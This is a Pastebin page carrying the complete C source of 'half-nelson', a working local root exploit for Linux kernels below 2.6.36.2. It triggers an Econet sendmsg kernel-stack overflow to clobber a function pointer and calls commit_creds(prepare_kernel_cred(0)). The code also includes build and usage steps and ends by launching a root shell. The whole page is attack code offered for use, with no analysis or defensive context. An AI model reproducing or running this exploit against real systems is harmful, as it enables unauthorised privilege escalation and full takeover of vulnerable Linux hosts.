Advertisement
Guest User

Untitled

a guest
Sep 18th, 2014
222
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 13.94 KB | None | 0 0
  1. /*
  2. * half-nelson.c
  3. * Linux Kernel < 2.6.36.2 Econet Privilege Escalation Exploit
  4. * Usage:
  5. * $ gcc half-nelson.c -o half-nelson -lrt
  6. * $ ./half-nelson
  7. * # id
  8. * uid=0(root) gid=0(root)
  9. * Tested on Ubuntu 10.04 LTS (2.6.32-21-generic).
  10. */
  11.  
  12. #include <stdio.h>
  13. #include <stdlib.h>
  14. #include <stdint.h>
  15. #include <stddef.h>
  16. #include <string.h>
  17. #include <unistd.h>
  18. #include <errno.h>
  19. #include <fcntl.h>
  20. #include <limits.h>
  21. #include <syscall.h>
  22. #include <inttypes.h>
  23. #include <sys/types.h>
  24. #include <sys/socket.h>
  25. #include <sys/wait.h>
  26. #include <sys/ioctl.h>
  27. #include <sys/mman.h>
  28. #include <sys/ipc.h>
  29. #include <sys/sem.h>
  30. #include <sys/stat.h>
  31. #include <sys/mman.h>
  32. #include <sys/resource.h>
  33. #include <sys/syscall.h>
  34. #include <netinet/in.h>
  35. #include <net/if.h>
  36.  
  37. #define IOVS 446
  38. #define NPROC 1024
  39. #define KSTACK_SIZE 8192
  40.  
  41. #define KSTACK_UNINIT 0
  42. #define KSTACK_UPPER 1
  43. #define KSTACK_LOWER 2
  44. #define KSTACK_DIE 3
  45. #define KSTACK_PARENT 4
  46. #define KSTACK_CLOBBER 5
  47.  
  48. #define LEAK_BASE 0xffff880000000000
  49. #define LEAK_TOP 0xffff8800c0000000
  50. #define LEAK_DEPTH 500
  51. #define LEAK_OFFSET 32
  52.  
  53. #define NR_IPC 0x75
  54. #define NR_WAIT4 0x72
  55. #define SEMCTL 0x3
  56.  
  57. #ifndef PF_ECONET
  58. #define PF_ECONET 19
  59. #endif
  60.  
  61. #define STACK_OFFSET 6
  62. #define RESTART_OFFSET 40
  63.  
  64. struct ec_addr {
  65. unsigned char station;
  66. unsigned char net;
  67. };
  68.  
  69. struct sockaddr_ec {
  70. unsigned short sec_family;
  71. unsigned char port;
  72. unsigned char cb;
  73. unsigned char type;
  74. struct ec_addr addr;
  75. unsigned long cookie;
  76. };
  77.  
  78. struct ipc64_perm {
  79. uint32_t key;
  80. uint32_t uid;
  81. uint32_t gid;
  82. uint32_t cuid;
  83. uint32_t cgid;
  84. uint32_t mode;
  85. uint16_t seq;
  86. uint16_t __pad2;
  87. unsigned long __unused1;
  88. unsigned long __unused2;
  89. };
  90.  
  91. struct semid64_ds {
  92. struct ipc64_perm sem_perm;
  93. unsigned long sem_otime;
  94. unsigned long __unused1;
  95. unsigned long sem_ctime;
  96. unsigned long __unused;
  97. unsigned long sem_nsems;
  98. unsigned long __unused3;
  99. unsigned long __unused4;
  100. };
  101.  
  102. union semun {
  103. int val;
  104. struct semid_ds *buf;
  105. unsigned short *array;
  106. struct seminfo *__buf;
  107. };
  108.  
  109. struct region {
  110. unsigned long parent;
  111. unsigned long addrs[NPROC];
  112. };
  113. struct region *region;
  114.  
  115. typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
  116. typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
  117. _commit_creds commit_creds;
  118. _prepare_kernel_cred prepare_kernel_cred;
  119. unsigned long ia32_sysret;
  120.  
  121. void __attribute__((regparm(3)))
  122. kernel_code(void)
  123. {
  124. commit_creds(prepare_kernel_cred(0));
  125. }
  126.  
  127. void
  128. payload_parent(void)
  129. {
  130. asm volatile (
  131. "mov $kernel_code, %rax\n"
  132. "call *%rax\n"
  133. );
  134. }
  135.  
  136. void
  137. payload_child(void)
  138. {
  139. asm volatile (
  140. "movq $payload_parent, (%0)\n"
  141. "jmpq *%1\n"
  142. :
  143. : "r"(region->parent + RESTART_OFFSET), "r"(ia32_sysret)
  144. );
  145. }
  146.  
  147. unsigned long
  148. get_kstack(void)
  149. {
  150. int i, size, offset;
  151. union semun *arg;
  152. struct semid_ds dummy;
  153. struct semid64_ds *leaked;
  154. char *stack_start, *stack_end;
  155. unsigned char *p;
  156. unsigned long kstack, *ptr;
  157.  
  158. /* make sure our argument is 32-bit accessible */
  159. arg = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_32BIT, -1, 0);
  160. if (arg == MAP_FAILED) {
  161. printf("[-] failure mapping memory, aborting!\n");
  162. exit(1);
  163. }
  164.  
  165. /* map a fake stack to use during syscall */
  166. stack_start = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_32BIT, -1, 0);
  167. if (stack_start == MAP_FAILED) {
  168. printf("[-] failure mapping memory, aborting!\n");
  169. exit(1);
  170. }
  171. stack_end = stack_start + 4096;
  172.  
  173. memset(arg, 0, sizeof(union semun));
  174. memset(&dummy, 0, sizeof(struct semid_ds));
  175. arg->buf = &dummy;
  176.  
  177. /* syscall(NR_IPC, SEMCTL, 0, 0, IPC_SET, arg) */
  178. asm volatile (
  179. "push %%rax\n"
  180. "push %%rbx\n"
  181. "push %%rcx\n"
  182. "push %%rdx\n"
  183. "push %%rsi\n"
  184. "push %%rdi\n"
  185. "movl %0, %%eax\n"
  186. "movl %1, %%ebx\n"
  187. "movl %2, %%ecx\n"
  188. "movl %3, %%edx\n"
  189. "movl %4, %%esi\n"
  190. "movq %5, %%rdi\n"
  191. "movq %%rsp, %%r8\n"
  192. "movq %6, %%rsp\n"
  193. "push %%r8\n"
  194. "int $0x80\n"
  195. "pop %%r8\n"
  196. "movq %%r8, %%rsp\n"
  197. "pop %%rdi\n"
  198. "pop %%rsi\n"
  199. "pop %%rdx\n"
  200. "pop %%rcx\n"
  201. "pop %%rbx\n"
  202. "pop %%rax\n"
  203. :
  204. : "r"(NR_IPC), "r"(SEMCTL), "r"(0), "r"(0), "r"(IPC_SET), "r"(arg), "r"(stack_end)
  205. : "memory", "rax", "rbx", "rcx", "rdx", "rsi", "rdi", "r8"
  206. );
  207.  
  208. /* naively extract a pointer to the kstack from the kstack */
  209. p = stack_end - (sizeof(unsigned long) + sizeof(struct semid64_ds)) + LEAK_OFFSET;
  210. kstack = *(unsigned long *) p;
  211.  
  212. if (kstack < LEAK_BASE || kstack > LEAK_TOP) {
  213. printf("[-] failed to leak a suitable kstack address, try again!\n");
  214. exit(1);
  215. }
  216. if ((kstack % 0x1000) < (0x1000 - LEAK_DEPTH)) {
  217. printf("[-] failed to leak a suitable kstack address, try again!\n");
  218. exit(1);
  219. }
  220.  
  221. kstack = kstack & ~0x1fff;
  222.  
  223. return kstack;
  224. }
  225.  
  226. unsigned long
  227. get_symbol(char *name)
  228. {
  229. FILE *f;
  230. unsigned long addr;
  231. char dummy, sym[512];
  232. int ret = 0;
  233.  
  234. f = fopen("/proc/kallsyms", "r");
  235. if (!f) {
  236. return 0;
  237. }
  238.  
  239. while (ret != EOF) {
  240. ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sym);
  241. if (ret == 0) {
  242. fscanf(f, "%s\n", sym);
  243. continue;
  244. }
  245. if (!strcmp(name, sym)) {
  246. printf("[+] resolved symbol %s to %p\n", name, (void *) addr);
  247. fclose(f);
  248. return addr;
  249. }
  250. }
  251. fclose(f);
  252.  
  253. return 0;
  254. }
  255.  
  256. int
  257. get_adjacent_kstacks(void)
  258. {
  259. int i, ret, shm, pid, type;
  260.  
  261. /* create shared communication channel between parent and its children */
  262. shm = shm_open("/halfnelson", O_RDWR | O_CREAT, S_IRWXU | S_IRWXG | S_IRWXO);
  263. if (shm < 0) {
  264. printf("[-] failed creating shared memory, aborting!\n");
  265. exit(1);
  266. }
  267.  
  268. ret = ftruncate(shm, sizeof(struct region));
  269. if (ret != 0) {
  270. printf("[-] failed resizing shared memory, aborting!\n");
  271. exit(1);
  272. }
  273.  
  274. region = mmap(NULL, sizeof(struct region), PROT_READ | PROT_WRITE, MAP_SHARED, shm, 0);
  275. memset(region, KSTACK_UNINIT, sizeof(struct region));
  276.  
  277. /* parent kstack self-discovery */
  278. region->parent = get_kstack();
  279.  
  280. printf("[+] found parent kstack at 0x%lx\n", region->parent);
  281.  
  282. /* fork and discover children with adjacently-allocated kernel stacks */
  283. for (i = 0; i < NPROC; ++i) {
  284. pid = fork();
  285.  
  286. if (pid > 0) {
  287. type = KSTACK_PARENT;
  288. continue;
  289. } else if (pid == 0) {
  290. /* children do kstack self-discovery */
  291. region->addrs[i] = get_kstack();
  292.  
  293. /* children sleep until parent has found adjacent children */
  294. while (1) {
  295. sleep(1);
  296. if (region->addrs[i] == KSTACK_DIE) {
  297. /* parent doesn't need us :-( */
  298. exit(0);
  299. } else if (region->addrs[i] == KSTACK_UPPER) {
  300. /* we're the upper adjacent process */
  301. type = KSTACK_UPPER;
  302. break;
  303. } else if (region->addrs[i] == KSTACK_LOWER) {
  304. /* we're the lower adjacent process */
  305. type = KSTACK_LOWER;
  306. break;
  307. }
  308. }
  309. break;
  310. } else {
  311. printf("[-] fork failed, aborting!\n");
  312. exit(1);
  313. }
  314. }
  315.  
  316. return type;
  317. }
  318.  
  319. void
  320. do_parent(void)
  321. {
  322. int i, j, upper, lower;
  323.  
  324. /* parent sleeps until we've discovered all the child kstacks */
  325. while (1) {
  326. sleep(1);
  327. for (i = 0; i < NPROC; ++i) {
  328. if (region->addrs[i] == KSTACK_UNINIT) {
  329. break;
  330. }
  331. }
  332. if (i == NPROC) {
  333. break;
  334. }
  335. }
  336.  
  337. /* figure out if we have any adjacent child kstacks */
  338. for (i = 0; i < NPROC; ++i) {
  339. for (j = 0; j < NPROC; ++j) {
  340. if (region->addrs[i] == region->addrs[j] + KSTACK_SIZE) {
  341. break;
  342. }
  343. }
  344. if (j != NPROC) {
  345. break;
  346. }
  347. }
  348. if (i == NPROC && j == NPROC) {
  349. printf("[-] failed to find adjacent kstacks, try again!\n");
  350. exit(1);
  351. }
  352.  
  353. upper = i;
  354. lower = j;
  355.  
  356. printf("[+] found adjacent children kstacks at 0x%lx and 0x%lx\n", region->addrs[lower], region->addrs[upper]);
  357.  
  358. /* signal to non-adjacent children to die */
  359. for (i = 0; i < NPROC; ++i) {
  360. if (i != upper && i != lower) {
  361. region->addrs[i] = KSTACK_DIE;
  362. }
  363. }
  364.  
  365. /* signal adjacent children to continue on */
  366. region->addrs[upper] = KSTACK_UPPER;
  367. region->addrs[lower] = KSTACK_LOWER;
  368.  
  369. /* parent sleeps until child has clobbered the fptr */
  370. while (1) {
  371. sleep(1);
  372. if (region->parent == KSTACK_CLOBBER) {
  373. break;
  374. }
  375. }
  376.  
  377. printf("[+] escalating privileges...\n");
  378.  
  379. /* trigger our clobbered fptr */
  380. syscall(__NR_restart_syscall);
  381.  
  382. /* our privileges should be escalated now */
  383. if (getuid() != 0) {
  384. printf("[-] privilege escalation failed, aborting!\n");
  385. exit(1);
  386. }
  387.  
  388. printf("[+] launching root shell!\n");
  389.  
  390. execl("/bin/sh", "/bin/sh", NULL);
  391. }
  392.  
  393. void
  394. do_child_upper(void)
  395. {
  396. int i, ret, eco_sock;
  397. struct sockaddr_ec eco_addr;
  398. struct msghdr eco_msg;
  399. struct iovec iovs[IOVS];
  400. struct ifreq ifr;
  401. char *target;
  402.  
  403. /* calculate payload target, skip prologue */
  404. target = (char *) payload_child;
  405. target += 4;
  406.  
  407. /* give lower child a chance to enter its wait4 call */
  408. sleep(1);
  409.  
  410. /* write some zeros */
  411. for (i = 0; i < STACK_OFFSET; ++i) {
  412. iovs[i].iov_base = (void *) 0x0;
  413. iovs[i].iov_len = 0;
  414. }
  415.  
  416. /* overwrite saved ia32_sysret address on stack */
  417. iovs[STACK_OFFSET].iov_base = (void *) target;
  418. iovs[STACK_OFFSET].iov_len = 0x0246;
  419.  
  420. /* force abort via EFAULT */
  421. for (i = STACK_OFFSET + 1; i < IOVS; ++i) {
  422. iovs[i].iov_base = (void *) 0xffffffff00000000;
  423. iovs[i].iov_len = 0;
  424. }
  425.  
  426. /* create econet socket */
  427. eco_sock = socket(PF_ECONET, SOCK_DGRAM, 0);
  428. if (eco_sock < 0) {
  429. printf("[-] failed creating econet socket, aborting!\n");
  430. exit(1);
  431. }
  432.  
  433. memset(&ifr, 0, sizeof(ifr));
  434. strcpy(ifr.ifr_name, "lo");
  435.  
  436. /* trick econet into associated with the loopback */
  437. ret = ioctl(eco_sock, SIOCSIFADDR, &ifr);
  438. if (ret != 0) {
  439. printf("[-] failed setting interface address, aborting!\n");
  440. exit(1);
  441. }
  442.  
  443. memset(&eco_addr, 0, sizeof(eco_addr));
  444. memset(&eco_msg, 0, sizeof(eco_msg));
  445. eco_msg.msg_name = &eco_addr;
  446. eco_msg.msg_namelen = sizeof(eco_addr);
  447. eco_msg.msg_flags = 0;
  448. eco_msg.msg_iov = &iovs[0];
  449. eco_msg.msg_iovlen = IOVS;
  450.  
  451. printf("[+] upper child triggering stack overflow...\n");
  452.  
  453. /* trigger the kstack overflow into lower child's kstack */
  454. ret = sendmsg(eco_sock, &eco_msg, 0);
  455. if (ret != -1 || errno != EFAULT) {
  456. printf("[-] sendmsg succeeded unexpectedly, aborting!\n");
  457. exit(1);
  458. }
  459.  
  460. close(eco_sock);
  461. }
  462.  
  463. void
  464. do_child_lower(void)
  465. {
  466. int pid;
  467.  
  468. printf("[+] lower child spawning a helper...\n");
  469.  
  470. /* fork off a helper to wait4 on */
  471. pid = fork();
  472. if (pid == 0) {
  473. printf("[+] helper going to sleep...\n");
  474. sleep(5);
  475. printf("[+] helper woke up\n");
  476. exit(1);
  477. }
  478.  
  479. printf("[+] lower child calling compat_sys_wait4 on helper...\n");
  480.  
  481. /* syscall(NR_WAIT4, pid, 0, 0, 0) */
  482. asm volatile (
  483. "push %%rax\n"
  484. "push %%rbx\n"
  485. "push %%rcx\n"
  486. "push %%rdx\n"
  487. "push %%rsi\n"
  488. "movl %0, %%eax\n"
  489. "movl %1, %%ebx\n"
  490. "movl %2, %%ecx\n"
  491. "movl %3, %%edx\n"
  492. "movl %4, %%esi\n"
  493. "int $0x80\n"
  494. "pop %%rsi\n"
  495. "pop %%rdx\n"
  496. "pop %%rcx\n"
  497. "pop %%rbx\n"
  498. "pop %%rax\n"
  499. :
  500. : "r"(NR_WAIT4), "r"(pid), "r"(0), "r"(0), "r"(0)
  501. : "memory", "rax", "rbx", "rcx", "rdx", "rsi"
  502. );
  503.  
  504. printf("[+] lower child returned from compat_sys_wait4\n");
  505.  
  506. printf("[+] parent's restart_block has been clobbered\n");
  507.  
  508. /* signal parent that our fptr should now be clobbered */
  509. region->parent = KSTACK_CLOBBER;
  510. }
  511.  
  512. int
  513. main(int argc, char **argv)
  514. {
  515. int type;
  516.  
  517. if (sizeof(unsigned long) != 8) {
  518. printf("[-] x86_64 only, sorry!\n");
  519. exit(1);
  520. }
  521.  
  522. printf("[+] looking for symbols...\n");
  523.  
  524. commit_creds = (_commit_creds) get_symbol("commit_creds");
  525. if (!commit_creds) {
  526. printf("[-] symbol table not available, aborting!\n");
  527. exit(1);
  528. }
  529.  
  530. prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");
  531. if (!prepare_kernel_cred) {
  532. printf("[-] symbol table not available, aborting!\n");
  533. exit(1);
  534. }
  535.  
  536. ia32_sysret = get_symbol("ia32_sysret");
  537. if (!ia32_sysret) {
  538. printf("[-] symbol table not available, aborting!\n");
  539. exit(1);
  540. }
  541.  
  542. printf("[+] spawning children to achieve adjacent kstacks...\n");
  543.  
  544. type = get_adjacent_kstacks();
  545.  
  546. if (type == KSTACK_PARENT) {
  547. do_parent();
  548. } else if (type == KSTACK_UPPER) {
  549. do_child_upper();
  550. } else if (type == KSTACK_LOWER) {
  551. do_child_lower();
  552. }
  553.  
  554. return 0;
  555. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement